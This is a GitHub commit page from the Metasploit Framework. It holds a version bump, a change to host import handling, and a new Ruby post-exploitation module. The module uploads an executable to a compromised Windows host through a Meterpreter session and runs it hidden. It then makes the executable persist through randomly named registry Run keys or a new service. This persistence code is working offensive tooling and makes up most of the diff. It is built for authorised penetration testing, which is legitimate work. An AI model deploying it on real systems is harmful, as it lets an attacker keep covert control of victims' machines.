Skip to content

Commit e84dc3c

Browse files
committed
Merge branch 'master' into feature/udp_amplification
2 parents 1213e9f + 5ce886c commit e84dc3c

File tree

4 files changed

+184
-3
lines changed

4 files changed

+184
-3
lines changed

Gemfile.lock

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
PATH
22
remote: .
33
specs:
4-
metasploit-framework (4.12.37)
4+
metasploit-framework (4.12.38)
55
actionpack (~> 4.2.6)
66
activerecord (~> 4.2.6)
77
activesupport (~> 4.2.6)

lib/metasploit/framework/version.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -30,7 +30,7 @@ def self.get_hash
3030
end
3131
end
3232

33-
VERSION = "4.12.37"
33+
VERSION = "4.12.38"
3434
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
3535
PRERELEASE = 'dev'
3636
HASH = get_hash

lib/msf/core/db_manager/import.rb

Lines changed: 10 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -86,12 +86,21 @@ def emit(sym,data,&block)
8686
# is unknown.
8787
def import(args={}, &block)
8888
wspace = args[:wspace] || args['wspace'] || workspace
89+
preserve_hosts = args[:task].options["DS_PRESERVE_HOSTS"] if args[:task].present? && args[:task].options.present?
8990
wspace.update_attribute(:import_fingerprint, true)
91+
existing_host_ids = wspace.hosts.map(&:id)
9092
data = args[:data] || args['data']
9193
ftype = import_filetype_detect(data)
9294
yield(:filetype, @import_filedata[:type]) if block
9395
self.send "import_#{ftype}".to_sym, args, &block
94-
wspace.hosts.each(&:normalize_os)
96+
if preserve_hosts
97+
new_host_ids = Mdm::Host.where(workspace: wspace).map(&:id)
98+
(new_host_ids - existing_host_ids).each do |id|
99+
Mdm::Host.where(id: id).first.normalize_os
100+
end
101+
else
102+
Mdm::Host.where(workspace: wspace).each(&:normalize_os)
103+
end
95104
wspace.update_attribute(:import_fingerprint, false)
96105
end
97106

Lines changed: 172 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,172 @@
1+
###
2+
## This module requires Metasploit: http://metasploit.com/download
3+
## Current source: https://github.com/rapid7/metasploit-framework
4+
###
5+
6+
require 'msf/core'
7+
require 'rex'
8+
require 'msf/core/post/common'
9+
require 'msf/core/post/file'
10+
require 'msf/core/post/windows/priv'
11+
require 'msf/core/post/windows/registry'
12+
require 'msf/core/post/windows/services'
13+
14+
class MetasploitModule < Msf::Post
15+
include Msf::Post::Common
16+
include Msf::Post::File
17+
include Msf::Post::Windows::Priv
18+
include Msf::Post::Windows::Registry
19+
include Msf::Post::Windows::Services
20+
21+
def initialize(info = {})
22+
super(update_info(info,
23+
'Name' => 'Windows Manage Persistent EXE Payload Installer',
24+
'Description' => %q(
25+
This Module will upload a executable to a remote host and make it Persistent.
26+
It can be installed as USER, SYSTEM, or SERVICE. USER will start on user login,
27+
SYSTEM will start on system boot but requires privs. SERVICE will create a new service
28+
which will start the payload. Again requires privs.
29+
),
30+
'License' => MSF_LICENSE,
31+
'Author' => [ 'Merlyn drforbin Cousins <drforbin6[at]gmail.com>' ],
32+
'Version' => '$Revision:1$',
33+
'Platform' => [ 'windows' ],
34+
'SessionTypes' => [ 'meterpreter']))
35+
36+
register_options(
37+
[
38+
OptEnum.new('STARTUP', [true, 'Startup type for the persistent payload.', 'USER', ['USER', 'SYSTEM', 'SERVICE']]),
39+
OptPath.new('REXEPATH', [true, 'The remote executable to use.']),
40+
OptString.new('REXENAME', [true, 'The name to call exe on remote system', 'default.exe'])
41+
], self.class
42+
)
43+
end
44+
45+
# Run Method for when run command is issued
46+
#-------------------------------------------------------------------------------
47+
def run
48+
print_status("Running module against #{sysinfo['Computer']}")
49+
50+
# Set vars
51+
rexe = datastore['REXEPATH']
52+
rexename = datastore['REXENAME']
53+
host, _port = session.tunnel_peer.split(':')
54+
@clean_up_rc = ""
55+
56+
raw = create_payload_from_file rexe
57+
58+
# Write script to %TEMP% on target
59+
script_on_target = write_exe_to_target(raw, rexename)
60+
61+
# Initial execution of script
62+
target_exec(script_on_target)
63+
64+
case datastore['STARTUP']
65+
when /USER/i
66+
write_to_reg("HKCU", script_on_target)
67+
when /SYSTEM/i
68+
write_to_reg("HKLM", script_on_target)
69+
when /SERVICE/i
70+
install_as_service(script_on_target)
71+
end
72+
73+
clean_rc = log_file
74+
file_local_write(clean_rc, @clean_up_rc)
75+
print_status("Cleanup Meterpreter RC File: #{clean_rc}")
76+
77+
report_note(host: host,
78+
type: "host.persistance.cleanup",
79+
data: {
80+
local_id: session.sid,
81+
stype: session.type,
82+
desc: session.info,
83+
platform: session.platform,
84+
via_payload: session.via_payload,
85+
via_exploit: session.via_exploit,
86+
created_at: Time.now.utc,
87+
commands: @clean_up_rc
88+
})
89+
end
90+
91+
# Function for creating log folder and returning log path
92+
#-------------------------------------------------------------------------------
93+
def log_file(log_path = nil)
94+
# Get hostname
95+
host = session.sys.config.sysinfo["Computer"]
96+
97+
# Create Filename info to be appended to downloaded files
98+
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
99+
100+
# Create a directory for the logs
101+
logs = if log_path
102+
::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo))
103+
else
104+
::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo))
105+
end
106+
107+
# Create the log directory
108+
::FileUtils.mkdir_p(logs)
109+
110+
# logfile name
111+
logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc"
112+
logfile
113+
end
114+
115+
# Function to execute script on target and return the PID of the process
116+
#-------------------------------------------------------------------------------
117+
def target_exec(script_on_target)
118+
print_status("Executing script #{script_on_target}")
119+
proc = session.sys.process.execute(script_on_target, nil, 'Hidden' => true)
120+
print_good("Agent executed with PID #{proc.pid}")
121+
@clean_up_rc << "kill #{proc.pid}\n"
122+
proc.pid
123+
end
124+
125+
# Function to install payload in to the registry HKLM or HKCU
126+
#-------------------------------------------------------------------------------
127+
def write_to_reg(key, script_on_target)
128+
nam = Rex::Text.rand_text_alpha(rand(8) + 8)
129+
print_status("Installing into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")
130+
if key
131+
registry_setvaldata("#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", nam, script_on_target, "REG_SZ")
132+
print_good("Installed into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")
133+
else
134+
print_error("Error: failed to open the registry key for writing")
135+
end
136+
end
137+
138+
# Function to install payload as a service
139+
#-------------------------------------------------------------------------------
140+
def install_as_service(script_on_target)
141+
if is_system? || is_admin?
142+
print_status("Installing as service..")
143+
nam = Rex::Text.rand_text_alpha(rand(8) + 8)
144+
print_status("Creating service #{nam}")
145+
service_create(nam, nam, "cmd /c \"#{script_on_target}\"")
146+
@clean_up_rc << "execute -H -f sc -a \"delete #{nam}\"\n"
147+
else
148+
print_error("Insufficient privileges to create service")
149+
end
150+
end
151+
152+
# Function for writing executable to target host
153+
#-------------------------------------------------------------------------------
154+
def write_exe_to_target(rexe, rexename)
155+
tempdir = session.fs.file.expand_path("%TEMP%")
156+
temprexe = tempdir + "\\" + rexename
157+
fd = session.fs.file.new(temprexe, "wb")
158+
fd.write(rexe)
159+
fd.close
160+
161+
print_good("Persistent Script written to #{temprexe}")
162+
@clean_up_rc << "rm #{temprexe}\n"
163+
temprexe
164+
end
165+
166+
# Function to create executable from a file
167+
#-------------------------------------------------------------------------------
168+
def create_payload_from_file(exec)
169+
print_status("Reading Payload from file #{exec}")
170+
::IO.read(exec)
171+
end
172+
end

0 commit comments

Comments
 (0)